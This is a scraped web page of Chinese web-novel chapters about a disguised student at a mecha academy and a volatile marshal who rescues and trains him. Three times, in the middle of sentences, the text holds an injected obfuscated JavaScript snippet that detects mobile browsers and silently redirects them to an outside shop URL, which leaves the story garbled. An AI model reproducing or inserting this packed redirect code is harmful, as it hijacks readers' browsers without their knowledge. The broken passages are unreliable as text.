输不可耻,但鹰扬被阿瑞斯打残了,维修起来需要不少费用,三十万星币应该够吧…… —— 台下爆发一阵热议声。 “程白起输了?” “一拳就倒了?” “天啊,亏我刚刚还押他会赢!” 阿瑞斯看着倒地不起的白色机甲,心情复杂。 他没想到军校给自己匹配的搭档会这么菜,几拳下去就不省人事了。 他感觉自己赢得很不爽利。 他钻研过程白起的作战视频,对方的作战风格跟他很相似,都以猛攻为主,他觉得跟程白起格斗起来应该会很爽,但没想到今日会大失所望。 啧,没劲儿。 原本是到了正式上课的时间,这时授课教官大步走进来,宣布今天停课,吩咐所有人速回宿舍待命。 停课通知下达得非常紧急,众人脸上写满了疑惑,有人问为什么停课,教官含糊其辞,只说这是校方领导下达的命令。 伊森问:“是不是虫族来袭了?” 沧麓学府在数十年前的确被虫族侵扰过,全校进入红色警戒状态,宣布停课,全体学生都穿着机甲待命。 不过,那也是很久之前的事了,虫族占据了沧澜星才三个月,就被元帅收复了。 老教官毫不客气地一掌呼在伊森后脑勺上,没好气道:“胡说八道些什么,只是寻常的停课。” 顾昕有些担忧程白起的安危,说想要带程白起去医疗中心,老教官拦住他:“你也回宿舍去,我会吩咐医疗中心的人过来,带他去治疗舱。” 不一会儿,医疗中心的人员赶来,用担架抬起青年,送去治疗舱。 虽然有不少同学对突如其来的停课指令论议纷纷,但并没有人往去深处去想,在校方的疏通之下,纷纷回宿舍待命。 一个小时后,整座军校就变得空荡荡了,路上除了还在运转的机器人,一个人也没有。 —— 明明是晌午,天空已经暗得发沉。 冷雨落下,将整个世界渲染成了一片惨淡的颜色。 晏疏野的世界里只剩下了一种感觉:空。 基地空了。 床铺空了。 还有气味。 松油薄荷气息,淡到快要消散,却顽固地萦绕在意识边缘,像一根细到极致的线,拉扯着他朝着某个方向前进。 他不知道要去哪里,他只是在“找”。 本能在驱使着他,就像是野兽丢了巢穴里唯一的伴侣,就会破坏性地去寻找。 精神力不受控地往外溢出,附近很多机器人一律陷入了宕机状态,就连负责照明的路灯,也咔嚓一声坏掉了。 整个校园林荫道上被黑暗所笼罩,一丝光也透不进去。 晏疏野循着那一缕信息素,最终停驻在了一栋白色建筑前。 三楼一扇靠北的窗户亮着温黄色的小灯,晏疏野黝深的视线在窗户停留了一会儿。 他要找的人应该就在那里。 他没有选择上电梯,而是直接沿着建筑外的管道攀爬了上去。 因为绝大部分的人员都被疏通了,此时此刻治疗室内只剩下两个beta医官,卧躺在医疗舱内的青年治疗得差不多了,两人给他做完检查,确认没有大碍之后,就是开始聊天。 医官A:“外面下了这么大暴雨,学生们都停课了,那我们什么时候能放假?” 医官B:“学生不知情,难道你我不知情?一定是禁区那边出事了,停工是不可能停工的。” 医官A:“这是戍卫队的事,与我们有什么相干?刚刚看了工作群,今晚要值夜,我们跟着戍卫队一起加班,工资愣是一个币儿都没涨过。” 医官B: “你就少说两句吧……我有点困,去睡个午觉,待会儿那个学生醒了,你吩咐他赶紧回宿舍。” 医官B本来想去隔间睡觉,意外瞅见窗户边出现了一道黑色影子,在窗纱的掩映之下显得若隐若现,渗透着瘆人的气息。 医官A以为自己看错了,揉了揉眼睛,再看去一眼,影子还在。 他前去揭开窗帘,就迎面撞上了一双冷郁濡湿的蓝灰眸子。 寒冷的雨风肆虐而入,男人周身隐匿在浓墨重彩的黑暗之中,面容朦胧,惟有额心上的龙角泛着一抹赤红色的光,他从窗户里纵跃而入的时候,淡淡地看了医官A一眼。 这一瞬,医官A浑身僵住,他好像被一种巨大且未知的恐怖存在凝视了,全身上下都是一片毛骨悚然,想要说话也根本说不出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077710|195289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医官B想要拿光脑联系戍卫队,却发现光脑始终是宕机的状态。 他全身都在颤抖,害怕男人会伤害自己,哪成想,男人却经过他,往医疗舱的方向走去。 医官A听到隔壁传来动静,正想去问,迎面却撞上了怪物。 医官A什么心理准备都没有,直接吓得昏了过去。 …… 晏疏野推开隔间的门,中央是一座开启的白色治疗舱。 当他走近时,却发现里面没有人,治疗舱显示四个字:【治疗完成】。 空气里弥散着浓郁的松油薄荷味,除此之外,还有淡淡的血腥气。 晏疏野蓝灰色的眸底溢出一抹黯色——他还受伤了吗? 晏疏野循着治疗室朝外打开的门,第一眼就看到青年。 程青梧穿着作战服,衣服贴着单薄的背上,勾勒出清晰的肩胛骨。黑色头发湿漉漉地贴在脖颈后,露出一截白皙的脖颈。 程青梧正站在电梯前,但电梯停电了,他似乎正在寻找离开的出口。 ——找到了。 晏疏野空荡荡的世界,骤然被填满了重量。 那些极具毁灭性的精神力,在这一刻仿佛找到了唯一的支点。 晏疏野没有立刻上前,只是静静地观察着。 经过治疗舱的治疗,青年气色好了很多,但嘴角有一道凝结的伤口。 程青梧的皮肤本来白皙,这一道伤口刺眼得像是一个印记。 晏疏野的目光凝固在伤口上,心中挤入一种莫名的躁动。 不是愤怒,不是疼痛,而是一种原始的本能。 像是自己的归属物被伤害了,他感受到一种近乎暴戾的躁动。 ——这是谁做的? 这个念头刚冒芽,很快又被“找到”的确认感占据。 晏疏野走了过去。 程青梧并没有留意到身后有人,他还在捣鼓自己的光脑,希望能够联系上人。 一觉醒来,治疗室内一个人都没有,他想到待会儿还有课,就想要赶紧离开治疗中心。 结果电梯坏了。 程青梧打算找逃生出口,却发现这里根本没有楼梯。科技高度发达的今天,楼梯已经沦为旧时代的产物被淘汰了。 他想使用光脑跟外界联系,结果光脑也用不了。 程青梧:“……” 才没用半天呢,光脑就坏了吗? 虽然不用钱,但他也是很心疼的。 一筹莫展之际,他感受到有一道巨大的阴影笼罩住了自己。 空气弥散着熟悉的海盐气息,程青梧回首,看见来人,惊喜道:“晏疏野,你怎么在这里?” 晏疏野自然没有说话。 他目光落在对方唇角的伤口上,越是近距离看,越是觉得碍眼,他抬起手,伸出一触。 真实的,温热的,存在的。 不是他的幻觉。 男人的指腹试探性地擦过那道血痂,掀起的粗粝质感让程青梧微微一顿。 他能感受到新室友的关心,温声解释道:“刚刚上了机甲格斗课,我实力跟不上,就变成这样啦。没事的,这个伤口过几天就好了。” 新室友显然不放心,又拉着程青梧回医疗舱躺了一遍,躺第二遍时,他嘴角上的伤口也没了。 新室友这才放心。 看着对方浑身湿漉漉的样子,程青梧想到了一个关键的问题:“你是怎么进来的?” 医疗中心的电梯坏了,外面的人进不来,里面的人也根本出不去。 晏疏野没有回答,程青梧望向那一扇推开的窗户,心中有了答案。 这更加让程青梧确认,新室友是一个面冷心热之人,听到自己受伤的消息,第一时间就过来看望自己了,电梯进不去,就爬窗。 外面下着雨,这窗又有七层高,也不知道他怎么爬上来的,真是太危险了。 万一感冒了怎么办? 程青梧有些心疼,把治疗舱调成烘干模式,先让晏疏野躺进去。晏疏野躺进去时,腿太长了,治疗舱放不下。 程青梧道:“把两条腿屈起来。” 晏疏野很配合地屈起来。 三分钟后,晏疏野全身上下都变得干燥了。 现在的当务之急,就是离开治疗中心。 晏疏野身手极好,但程青梧的身手还没好到可以跳窗的地步,他不敢效仿他。 然而,似乎洞察出了程青梧的思绪,晏疏野把一件雨衣裹罩在他周身,然后,阔步上前—— 把他打横抱了起来。 男人的力道霸道又强势,根本不容程青梧有任何转圜的余地。 程青梧人还没反应过来,人已经窝在了男人温实的怀里,鼻腔里尽是浓郁的海盐气息。 程青梧心跳到了嗓子眼儿,下意识攥紧了新室友的前襟。 自己长大这么大,还从来没被一个alpha抱过。 还是个端端正正的公主抱。 男人抱着他,就像是抱着一个小玩偶,隔着数层衣料,他能够感受到男人滚热的体温,跟燃烧的岩浆一眼。 程青梧耳根有些热,深吸一口气:“你该不是想要——” 话未毕,晏疏野抱着他,从七楼的窗户跳了下去! 9. 第九章 【第九章】 程青梧吓得双手勾住男人的脖颈。 风声呼啸而过,程青梧只感觉晏疏野在几个借力点上轻巧腾挪。 再一睁眼,自己已经抵达了地面,稳稳当当,平安无事。 正常人真的能够从七层楼的高度一跃而下吗? 程青梧忍不住朝着新室友望去。 男人冷峻的脸上情绪淡到毫无起伏,甚至连一丝皱眉或者喘息都没有,仿佛从七楼跳下来这种事对他来说就像是吃饭喝水一样易如反掌。 程青梧对新室友所学的专业更加好奇了,说起来,认识有两天了,他还不知道他学什么专业呢,问:“你是学什么专业的,单兵机甲系吗?” 晏疏野敛着眸子没有回答,抱着程青梧往红色禁区的方向走。 他捉到人了,现在只想把人带回家。 程青梧知道问晏疏野也是白问,这小孩子内向着呢,还不愿意告诉他自己是哪个专业的,但程青梧可以肯定一件事,晏疏野的精神力肯定有A级,甚至还更高。 高精神力者在体能方面跟正常人完全就不在一个档次上,不说能够上天入地,但在作战方面,天然拥有许多优势。 程青梧甚至还听说过,高精神力者能够单独操控一座星舰。 他不知道晏疏野的精神力究竟强悍到什么地步,在他心目,他已经自动把晏疏野划分为程白起、阿瑞斯一样的佼佼者。 不过…… 程青梧耳根热乎乎的,拍了拍晏疏野的肩膊:“你能不能先放我下来啊?” 虽然现在校园林荫道上一个人也没有,没有人看到他们俩,但就这样在大庭广众之下被人抱着走,还是怪不好意思的。再说了,他开机甲的伤已经痊愈了,根本不需要抱了。 但新室友没搭理他,继续维持着公主抱的动作。 程青梧放弃挣扎了,抱就让他抱好了,只道:“我现在还不能回宿舍,我需要去上课。” 他伤好了,可以回去上机甲格斗课了,总不能一开学就让进度落后吧。 当初答应帮弟弟代课,他真的以为只用听几节理论课、点个签到就能顺利过关,然而在真正的实训当中,他根本躲也躲不掉,驾驶机甲的过程当中也遇到了非常多的问题,还被人完全吊打。 输一两次情有可原,但一直持续战败下去,迟早会有人发现他不是程白起。 再加上后天要进行syncore双人机甲的试驾,他需要跟阿瑞斯一起共同操控机甲,双人机甲的操控难度远胜于单人机甲。 syncore机甲的考核对弟弟来说非常重要,程青梧需要帮他争取机会。 都说勤能补拙,程青梧必须多花些时间在单人机甲的驾驶上。 退一万步而言,以后在格斗课上,不说能打败对方,至少能够打个平手吧。 雨势已经歇了,沁凉的雨珠从树上的枝杈滑落下来,砸落在程青梧的半透明雨衣上,发出一阵清脆的闷响。 晏疏野步履乖乖停住了。 程青梧眨了眨眼——除了放弃公主抱,其他的条件新室友都能跟他商量。 程青梧索性把晏疏野当成代步工具,指了指那栋教学楼:“我要去那里上课。” 这一回,晏疏野表现得很顺从,抱着他去了指定好的训练馆。 训练馆内空荡荡的,一个人也没有。 程青梧有些疑惑,想用光脑问下教官,但光脑没信号了,问不了。 程青梧也没太在意,也许现在是课间休息呢,所以大家都去休息了。 当务之急,是练习。 他让晏疏野把自己带到了升降台面前,道:“我现在要去练习驾驶机甲了。” 晏疏野蓝灰色的眸子在白色机甲上注视了一会儿,眸底掀起了一丝淡淡的涟漪。 如程青梧所愿,他放了他下来。 鹰扬静静地立在升降台上,机甲周身被已经应急处理过了,看不到一丝一毫的损伤。 见及此,程青梧松了一口气,在机甲修复方面,沧麓这一点挺人性化的,不用学生自掏腰包修复机甲。 程青梧爬进驾驶舱,熟悉的虚拟界面再次亮起。 他深吸一口气,闭上眼睛,尝试将注意力集中。 以前预备科老师说过,精神力连接的关键是“感知”而非“操控”——要感受机甲如同身体的延伸,感受每一个关节的转动,感受到能量通过身体。 程青梧将精神力逐渐释放出来,渐渐地,他竟然感受到了鹰扬的存在。 仿佛它就是他的身体一部分,是他的意志。 程青梧抬手,鹰扬的手臂与同步跟着抬了起来。 比下午快了数倍,也流畅了数倍! 这就是精神力连接的感觉吗? 程青梧感到很兴奋,他操纵鹰扬做了个几个基础动作,比如行走、小跑、转身、挥拳。 动作行云流水,比下午跟阿瑞斯的战神格斗时所展现出的操控,要更加精准灵巧。 他真的做到了。 原来他也能开机甲。 程青梧操控机甲开心地原地蹦跶了几下,但一想到晏疏野在地面上看着自己,他顿时有点不好意思,在公用频道问:“看着我练习机甲,会不会让你有点无聊啊?” 以新室友的实力,指不定也是机甲联赛的前几强,看程青梧现在这样操控机甲,大概就像是在看小孩玩过家家吧。 出乎意料地是,晏疏野淡淡地摇头,他似乎正观看得饶有兴味。 程青梧也不介意自己被观看。 横竖下午在全班面前把脸丢尽了,面子早已不算什么东西,把实力提上去才是正经事。 弟弟提及过,他们以前要进行魔鬼九项训练,完全通关才算合格。 程青梧决定先去完成魔鬼九项训练。 先从第一项开始,要求在充满障碍的通道内,以最快的速度抵达终点,碰撞次数越少越好。 程青梧驾驶鹰扬冲入通道,在精神力连接的情况之下,机甲反应极快,他轻松地避开了几个迎面而来的障碍。但到了中后段,障碍越来越密集,移动轨迹也变快了,程青梧不得不全力以赴,才安全通关。 接下来几关,程青梧也都有惊无险地通过。 但好景不长,他卡在了第七关,跳梅花桩。 一共十七个桩台,高矮错落,还处于不断高速移动的状态里,每次程青梧都险之又险,就差那么一点他就能安全跳过去了,试了五回,每回都以机甲坠入网兜里告终。 程青梧并没有气馁,准备第六次尝试。 这时,他看到一辆黑色机甲出现在自己身边。 就是训练里常用的默认机甲。 程青梧愣神间,公共频道被打开了,露出了男人淡沉的侧脸。 隔着屏幕,晏疏野看了程青梧一眼,那清凌凌的眼神仿佛在说:“看好了。” 接下来,程青梧看到了教科书般的演示。 黑色机甲的速度并不快,但起跳、腾跃和落点都恰到好处,在不断变化的梅花桩上穿越,如游鱼入水,节奏非常好,将机甲自身的效率发挥到了极致。 程青梧观察到,晏疏野操控机甲的时候,基本是靠双腿在发力。 每个机甲的弹跳力都不一样,这需要精确地计算数值。 屏幕上就有公式,程青梧根据数值计算弹跳力和弹跳速度,再尝试了一下,这一回,他过梅花桩过得非常顺利,完全没有踩空的情况。 程青梧高兴得跟个孩子似的,拉着黑色机甲的手道:“晏疏野,我又过了!” 晏疏野显得很平静,仿佛程青梧能过关,早已经是在预料之中的事。 从刚才进行魔鬼九项的第一项开始,他就一直在观察着他,观察着白色机甲从跌跌撞撞到逐渐能够找准自己的节奏,从单纯的模仿操作,到开始有自己的应对思路。 笨拙,脆弱,但却在以肉眼可见的速度变强。 一种陌生的冲动在晏疏野的意识里萌芽。 ——他可以更好。 ——而我知道,怎么让他更好。 这个念头如此自然,仿佛早已埋在那里。 接下来每一项,晏疏野都先让程青梧自己尝试,然后亲自示范一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077711|195289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍,最后程青梧再结合领悟进行第二次实践。 程青梧的学习速度快得惊人,往往只看一遍,就能抓住关键,在下一次尝试中取得飞跃进步。 这一种精神力深度连接的状态,让他对机甲的掌控和细节的感知达到了前所未有的高度。 两人一路过关斩将,来到了最终关:模拟虫族速射。 这是一个圆形射击场,四周会涌出大量虚拟虫子,目标是在一分钟内击落尽可能多的目标。 计时开始,虫子如潮水涌出,程青梧精神高度集中,他击中了很多虫子,但问题也随之暴露出来——速度。 他的反应和射击速度跟不上虫子最密集的爆发期。 往往瞄准一只虫子时,已经错过了另外两三个更好的目标。 预判也稍显迟缓,总是等到虫子变向后才调整瞄准,浪费了宝贵时间。 一分钟结束,成绩显示:1417只。 只是及格线擦边,并不算优秀。 程青梧有些沮丧。这和下午与阿瑞斯对战时一样,输在了最基础的速度上。 看来精神力连接能提升操控精度和流畅度,但无法直接提高他的神经反应速度和战斗本能。 似乎觉察到了他的情绪,黑色机甲走了过来。 程青梧忽然感觉整个机甲微微一沉,被从后方轻轻托住。紧接着,一双金属手臂,从鹰扬的身侧伸出,稳稳地握住了鹰扬手臂上的速射机枪握把。 这是一个从背后环绕、几乎将鹰扬拢在怀里的姿势。 程青梧愣住了。 相当于是晏疏野从背后拥住了他,教他怎么射击。 没等他反应过来,一股温和的精神力,如同暖流般缓缓涌入他的感知。 刹那之间,世界变了。 当第二回训练开启时,在程青梧的视野里一切都不同了。每一只虫子的飞行轨迹变得极其清晰,它们下一秒出现的变向都在空中留下了预判轨迹线。 一分钟仿佛被无限拉长放缓,他拥有充足的时间去观察、选择并瞄准。 这不是他的能力。 是晏疏野的。 他将自己的部分感知和战斗本能,通过精神力连接,共享给了他。 鹰扬的机枪再次开火。 弹无虚发,分毫必中。 一分钟倒计时结束,成绩刷新:6018只。 程青梧心跳怦然,这不是他的成绩,是晏疏野握着他的枪、手把手教他打出来的。 他亲身感受到了那种超凡的视野、极致的预判和极高的效率。 这就是高精神力者的世界吗? 黑色机甲松开了他,那一股共享的精神力也如潮水般褪去,只留下一点余韵在程青梧的意识深处。 现实的时间恢复了正常的速度,但有些东西已经不一样了。 程青梧顿悟了一些速度方面的东西,他抓住这些顿悟再试一回。 他对晏疏野说:“这一回,我想自己来。” 黑色机甲向后退开几步,把射击场完全留给了鹰扬。 程青梧闭上眼睛,回味着刚才那种精神力连接所带来的状态,回味着那种掌控一切的视野感。 晏疏野的精神力已经退去,但某种珍贵的启示留了下来。 程青梧在脑海中重构那种状态,调动自己的全部感知,去模拟、去捕捉、去预判。 计时再次开始,虫潮涌出。 速度依旧很快,轨迹依旧刁钻。 但在程青梧的眼中,它们变慢了许多。 不仅如此,他的反应速度还有了近一步的提升,他已经能够预判虫子的飞行变向了。 程青梧感觉自己进入了一种前所未有的专注状态,精神力与机甲深度融合,每一次呼吸都仿佛与机枪的击发同步。 汗水浸湿了他的鬓角,他浑然不觉,享受着眼前的一切。 最后一秒结束。 成绩:7481只。 屏幕上出现了一个醒目的“CHAMPION”。 ——打破最高历史记录,比历届最高成绩超了整整一千只。 10. 第十章 【第十章】 红色禁区瞭哨亭,气氛凝滞如水。 雷克斯看着监控屏幕,元帅的生命信号出现在了医疗中心然后就消失了。戍卫队跟他反馈过,程白起在机甲格斗课上受伤目前也在医疗中心接受治疗。 这恰好印证了雷克斯的猜测,元帅之所以离开禁地,就是为了去找程白起。 只不过,在蜂鸟飞行器传回的画面里,只显示医疗中心处于停电状态,无法确定内部的情况,换言之,他无法确认程白起的人身安全。 “队长,搜索队回报,医疗中心未发现目标。”一位戍卫队队员匆匆禀报道,“精神力干扰太强了,常规通讯和探测仪几近全部失效,需要派遣机甲小队进去吗?” “进去送死吗?”雷克斯肃声道,“那可是元帅的精神力场域,贸然闯入,正常的机甲系统会过载,人能不能活着出来都是问题。” 元帅失控暴走的前例不是没有,每一次都伴随着死亡和毁灭。程白起能活过第一夜已经是奇迹,现在再次独自面对暴走状态的元帅…… 雷克斯问道:“秦校长那边怎么回应?” 毕竟兹事体大,真正能够拿主意的人,还得看校方的态度。 负责上报的戍卫队队员面露难色:“秦校长回应了,如果程白起在元帅的精神力场域内牺牲了,就颁发三级军功以及相关的补偿金表示慰问。” 看来秦校长也很清楚,在元帅的精神力覆盖的场域里救下人的可能性是微乎其微。 如果程白起真的死了,就当他是在战场上牺牲了,颁发军功是最稳妥的选择。 雷克斯翻起了程白起的家庭档案,这个学生的身世还挺凄惨的,父母在很多年前就出了事故去世了,现在只有一个双胞胎哥哥与之相依为命。 雷克斯打算将程白起哥哥的联系电话记下来,以便合适的时候联系他。 正思忖间,监控室内传来一阵骚动。 “有人进入防御带了。” “……好像就是程白起!” “天啊他居然还活着!” “快去报告老大!” 闻及此,雷克斯猛地转身离开瞭哨亭。 黄昏最后的残照之下,两道人影正从南区方向缓缓走来,但雷克斯只看到了一道组合起来人影—— 一个高大沉默的身影,穿着笔挺的深黑色军服,头顶上的一对龙角在昏稠的光影之下勾勒出冷硬的轮廓。 是元帅。 他怀中抱着一个青年,青年骨架小,生得纤细玲珑,跟元帅那磅礴健硕的体格相较之下,显得像个玩具娃娃一样。 雷克斯以为自己看错了,忍不住揉了揉眼睛再去看,没错,元帅正抱着程白起走入红色禁区。 就像是一头暴怒的凶兽,终于找回了它丢失的宝物,暂且收起了所有的利爪。 戍卫队愣在原地,空气仿佛凝固了。 他们难以置信地看着这一幕——让整个军校闻风丧胆的人物,此刻安安静静地抱着一个omega,从一片狼藉里走了回来。 程青梧似乎这才注意到瞭哨亭外面的阵仗,有些脸热,用胳膊搡了搡晏疏野:“有人来了,你先放我下来。” 在训练馆训练完魔鬼九项,晏疏野就坚持要抱他回宿舍,他都说自己没受伤了,晏疏野还是仍然维持着抱抱的姿态,如果程青梧不答应,他就会像个雕像似的站在原地。程青梧知道这孩子面冷心热,他自己也是个软性子的人,拗不过他,只好同意。 现在瞭哨亭有这么多人在看着他,程青梧有些不好意思,赶忙让晏疏野放自己下来。 晏疏野的注意力丝毫没有在那些戍卫队队员身上,他所有的注意力都只是在依偎在自己的怀里的omega身上。 他抱他抱得好好的,根本不想就这么轻易地放他下来。 他喜欢让omega身上沾染满自己的气味,这样一来,所有人都会知晓,omega是他一人的。 当然,他也眷恋omega身上的松油薄荷味,一路上,都在明目张胆地嗅闻他身上的气息。 omega身上的气息,就如一只温和柔润的大掌,抚平了晏疏野精神识海里每一丝暴动的精神力,渐渐地,他感受到了久违的平静与安宁。 晏疏野的心很久没有那么宁静过了,而这一切,都是眼前这位omega带给他的。 他自然不想轻易松手。 但晏疏野也会察言观色,他不会做让omega不喜欢不开心的事。 他发现,如果他不放omega下来的话,omega就会不高兴。 所以,晏疏野到底是乖乖地把程青梧放下来了。 程青梧落地之后,一如既往对雷克斯打了一声招呼。 程青梧发现众人都是一副整装待发的样子,问道:“发生什么事了?” 雷克斯不能把元帅离开红色禁区的事如实相告,程白起活着已是大幸,他最好什么都不需要知道。 雷克斯强迫自己忽略晏疏野的存在,他故作放松地看着程青梧,“没什么事,只是例行巡查。” 稍作停顿,他又问道:“听说你在医疗室养伤,伤好些了吗?” 不提及受伤还好,一提及受伤,程青梧就有些臊眉耷眼,是哪个好人把他受伤的事传播了出去啊? 程青梧活动了一下肩膀:“我好着呢,没事的。” 为了给自己挽尊,他又继续道:“我刚刚还去训练馆多练了一会儿,光脑没信号,没有注意时间。” 程青梧完全没把之前的警报和外面的混乱跟自己联系起来,“对了,训练馆那边的设备好像出了些问题,灯忽明忽暗的。” 雷克斯:“……” 戍卫队:“……” 设备问题?元帅失控的精神力没把整个训练馆拆了都算是奇迹! 程青梧见雷克斯表情古怪,又看了一眼周围如临大敌的队员们,隐隐约约觉察到气氛不对劲。他侧眸看了一眼晏疏野,小声问道:“晏疏野,你知道怎么回事吗?” 晏疏野静静看着程青梧,淡淡地摇了摇头。 程青梧见天色已晚,得回宿舍做饭了,他没再多聊,直接跟雷克斯告别。 雷克斯目送元帅跟着程白起离开,心中升起了千思万绪。 如果说第一次闯入禁区还活着是还巧合,那么这一次,元帅离开红色禁区去找人,当所有人都以为程白起不会活着,他还是奇迹般活了下来。 雷克斯观察到,有程白起在身边的时候,元帅并没有发生精神力暴动,攻击性也比以往要淡了些。 雷克斯心中得出了一个大胆的猜测。 难道说,程白起的精神力对元帅的精神力具有反向疗愈与安抚的作用? 如果真的是,程白起说不定真的能够让元帅的病情好转起来,日后还能再次驾驶机甲上战场也不一定。 元帅是超SSS级精神力,一般说只有同样等级的精神力才能产生安抚效果。 但程青梧…… 雷克斯下午才刚听说,程青梧在进行机甲格斗实训时,被一个A级alpha打趴了。 连A级精神力者都打不过,那真的能够安抚像元帅这样的超SSS级精神力者吗? 雷克斯决定先按兵不动,再多观察一段时间。 —— 回到基地之后,程青梧隐隐约约觉得有哪些地方变得不一样了,但具体是哪些地方不一样了,一时半会儿他又说不上来。 尤其是他发现晏疏野一进门,就挡在饭桌子前,像是要刻意遮挡住什么东西似的。 程青梧狭了狭眸子:“晏疏野,你在猫猫祟祟地做什么?” 晏疏野的身躯非常高大,将桌子背后的景致遮掩得严严实实的,程青梧完全看不出一丝端倪。 本来晏疏野不挡住那一张饭桌,程青梧还觉察不出什么,但他这欲盖弥彰似的一挡,就完全暴露出了问题。 程青梧走前去,晏疏野仍然维持着挡饭桌的姿态,丝毫没有让步的趋势。 程青梧往右探头,晏疏野往右遮挡。 程青梧往左探头,晏疏野往左遮挡。 程青梧怎么看也看不到,心里也越发好奇,于是乎,他做了个假动作,假装往右侧去探身,晏疏野果真中招,作势要往去右侧去挡,程青梧利用白猫的优势翻身一跃,绕到了桌子面前。 他看到桌面摆放着两只碗,观察得更细致得一些话,可以看到这两只碗是由许多碎片黏连拼凑起来的,还是勉强能用的,这还是他早上给晏疏野盛早餐时会用到的碗。 程青梧看了一眼碎碗,又看了晏疏野。 男人低垂着眼,两只龙角也随之耷拉着,苍冷的薄唇紧抿成了一条细线,俨然是一副做错事的样子。 程青梧还以为发生了什么巨大的事呢,没想到只是摔碎了几个碗而已,根本没什么大不了的。 程青梧本来想安抚说没有事的,他并不会因为对方打碎了几只碗而生气。说起来,程白起以前对机甲非常感兴趣,还偷偷把学校唯一公用的机甲给拆了呢,当时发生了这么严重的事,程青梧都能心平气和地鼓励程白起把机甲拼回去。 但考虑到新室友的性格跟程白起不一样,程青梧决定换种方式安慰:“今天可以帮我打下手吗?” 程青梧从带来的储备里翻出真空包装的肥牛卷,几个红润的番茄,还有一小包晒干的仙草。 他打算今晚做番茄肥牛饭,再做过个烧仙草奶茶。 他指挥晏疏野道:“你去煲饭。” 煲饭是最简单的任务了,晏疏野应该会吧? 晏疏野沉默地接过了米锅,去米缸舀米了。 程青梧穿上猫猫围裙一边烧水把肥牛焯熟去腥,一边偷偷观察晏疏野那边的情况。 晏疏野舀了三大碗米。 嗯,这份量对于两个成年男性是够的。 晏疏野舀完米,又去接水了——好家伙,居然接了一大锅。 这可把程青梧吓得不轻,就算是煲粥,也不需要那么多的水啊。 他放下手头上的活儿,走到晏疏野身前把米锅接了过来:“煮饭不需要那么多水,水比米高大概一个指甲的高度就行,我现在把水调整到合适的高度,看到了吗?米与水的比例大概就是这样的。” 晏疏野静静地听着青年的教导,两人挨得很近,近得他能够嗅到那清浅的松油薄荷香气,是从他后颈肌肤里散发出来的。 晏疏野牙根有些痒得厉害。 他忍不住往青年的的后颈望去,在黑色碎发掩映之下,露出一截白里透粉的劲脖,那里就是腺体,越是靠近嗅闻,那信息素的味道愈发浓郁。 好诱人,好想咬一口。 这是晏疏野心中的真实想法。 但很快被他抑制住了。 他不想伤害他的omega。 教晏疏野煲饭后,程青梧又去切番茄,炒熟后用来跟肥牛一起熬汤。 不出多时,浓郁的酸甜香气渐渐弥散在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077712|195289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 基地里。 饭菜很快就做好了,红艳艳的番茄浓汤浸泡着肥嫩的牛肉卷,浇洒在雪白饱满的米饭上,旁边配了一杯冰镇的烧仙草。 程青梧将两人份的都摆在了饭桌上,递给晏疏野一只勺子:“尝尝看。” 新室友以前爱吃手抓饭,刚开始用餐具可能不熟练,所以程青梧决定先让他使用最简单的餐具。 晏疏野接过来,学着程青梧的样子开始吃饭,低头,舀起一勺浸满了番茄汤汁的米饭和肥牛,送入口中。 咀嚼,停顿。 然后加快了速度。 依旧是那种专注认真的吃法,每一口都咀嚼得很仔细,但下勺得频率明显变快了。 程青梧静静地看着他吃,自己心里也暖洋洋的。 这种自己烹饪的食物被认真对待的感觉,和在青瓷星开小饭馆时看到客人吃得开心的感觉一模一样,让他倍感满足。 一大份番茄肥牛饭很快见了底。 晏疏野放下勺子,抬起头,看向程青梧。 那一双蓝灰色的邃眸在灯光的渲染之下,显示出了如荒野般空旷的质地,程青梧以前第一回与之注视时,只看到了无尽的空,但现在,他在这一片苍凉的荒野之上,看到了有一种类似于生命力的东西正在涌动。 晏疏野安静地看了程青梧几秒,然后,开了腔:“还有吗?” 像是许久未开口的人此刻突然开了口,嗓音显出了一种枯槁沙哑的质地。 程青梧愣了一下,随即笑了出来,就像是看到自家弟弟好胃口时的开心。 这也太可爱了叭! 他把饭锅里剩下的都盛进了晏疏野的碗里。 晏疏野没客气,接过去继续吃。 程青梧捧着温热的烧仙草奶茶小口啜饮,看着男人专注吃饭的侧颜,心里的想法越来越清晰。 新室友虽然是个战斗力十分强大的alpha,但在某些方向,真的很纯粹。 他好像没有接触过普通人的生活。 程青梧观察到,新室友手腕没有佩戴光脑或是通讯器之类的东西,由此可以推断,他平时应该不会浏览星网,也不会主动社交。他所有的反应都是基于本能和直接的感受,饿了就去找吃的,困了就休息,想要什么就直接行动,喜欢他做的饭就认真吃饭还要。 